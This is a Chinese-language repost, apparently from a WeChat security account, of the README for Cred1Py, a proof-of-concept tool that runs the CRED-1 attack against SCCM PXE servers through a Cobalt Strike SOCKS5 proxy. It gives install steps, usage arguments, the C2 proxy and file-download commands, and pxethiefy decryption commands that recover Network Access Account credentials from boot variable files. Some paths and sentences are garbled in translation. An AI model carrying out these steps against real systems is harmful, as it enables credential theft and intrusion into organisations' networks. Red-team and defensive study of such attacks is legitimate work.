概述
这是一个用于通过 SOCKS5 连接(支持 UDP)利用 CRED-1 的工具。
安装
python3 -m venv env
source ./env/bin/activate
pip install -r requirements.txt
用法
要使用 Cred1Py:
通过你的C2启动SOCKS5代理,例如CS使用以下命令:
> socks 9090 socks5 enableNoAuth a b
然后我们可以使用以下命令调用 Cred1py:
python ./main.py <target> <src_ip> <socks_host> <socks_port>
在哪里:
-
目标 – SCCM PXE 服务器 IP
-
SRC_IP-我们正在运行植入程序的受感染服务器的 IP 地址
-
SOCKS_HOST – 运行 SOCKS5 的团队服务器的 IP
-
SOCKS_PORT – SOCKS5 端口
为了帮助可视化参数中引用的组件:
注意:由于 SOCKS5 的工作方式,C2 服务器需要在所有端口上都可供 Cred1py 访问,因为第二个临时端口是作为 UDP 流量中继的一部分打开的。最简单的方法通常是在 C2 服务器上运行 Cred1py 并定位目标localhost……但您可以自行决定!
CRED-1 攻击如何运作
CRED-1可分为以下步骤:
-
通过 UDP 4011 发送 PXE 映像的 DHCP 请求
-
SCCM 使用图像路径和加密密钥进行响应,以解密引用的变量文件
在此阶段,通过 TFTP 下载两个文件,例如:
-
2024.09.03.23.35.22.0001.{FEF9DEEE-4C4A-43EF-92BF-2DD23F3CE837}.boot.var
-
2024.09.03.23.35.22.07.{FEF9DEEE-4C4A-43EF-92BF-2DD23F3CE837}.boot.bcd
接下来,CRED-1 获取 DHCP 响应中返回的加密密钥,并根据内容采取以下两条路径之一:
1.如果提供了加密密钥,则禁用基于密码的加密,因此运行密钥派生函数来生成 AES 密钥来解密变量文件
或者
2.如果没有提供加密密钥,则启用基于密码的加密,并从变量文件生成 HashCat 输出,以允许我们恢复加密密钥
一旦恢复(或提供)密钥,就可以解密变量文件,并使用其内容来检索网络访问帐户用户名/密码。
有关此次攻击的更多信息可以在错误配置管理器中找到。
Cred1Py 的工作原理
Cred1Py 尝试通过 SOCKS5 连接执行此流程,因为 UDP 支持是 SOCKS5 规范的一部分,并且包含在 Cobalt Strike 等产品中。
Cred1py 的实现与 PxeThiefy 等工具存在一些差异,因为 SOCKS5 限制了我们检索 TFTP 文件的能力(我们无法确定数据传输期间使用的源端口,因此无法下载超过几个字节的数据)。
这意味着 Cred1Py 的要求是:
-
启用 SOCKS5 执行的植入程序
-
能够与分发服务器建立 SMB 连接(这取代了 PxeThiefy 的 TFTP 组件)
一旦满足要求,Cred1Py:
-
发送 DHCP 请求以获取 PXE 映像和加密密钥
-
检索加密密钥材料
-
下载变量文件的前 512 个字节(可能是因为这是由 TFTP 服务器发送的,而没有建立需要源端口的 TID)
-
输出加密密钥或 hashcat 哈希,以及通过 DHCP 返回的引导变量文件的路径
此时,我们需要使用我们的 C2 来下载启动变量文件,例如在 Cobalt Strike 中我们可以使用:
download \sccmserver.lab.localREMINSTSMSTempBootFileName.boot.var
现在,如果您有一个要破解的密码,请破解它,然后将其作为参数传递给pxethiefy.py:
python ./pxethiefy.py decrypt -f /tmp/BootFileName.boot.var PASSWORD_HERE
但是,如果没有设置 PXE 密码,您将获得加密密钥。这需要添加到pxethiefy.py。最简单的方法是登录decrypt_media_file以pxethiefy.py使用二进制密钥,例如:
decrypt_media_file(args.mediafile, b’x41x42x43x44…….’):
boot.var然后我们使用 PxeThiefy.py通过任何旧密码调用,用我们恢复的密钥解密文件:
python ./pxethiefy.py decrypt -f /tmp/BootFileName.boot.var USE_THE_SOURCE_LUKE
致谢
-
Christopher Panayi,CRED-1 和 PxeThief OG 工具的原始研究员 – https://github.com/MWR-CyberSec/PXEThief
-
Carsten Sandker 和他的出色的 Pxethiefy.py 工具,此工具基于 – https://github.com/csandker/pxethiefy
项目地址:
https://github.com/SpecterOps/cred1py
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):SOCKS5 上 CRED1 的 Python POC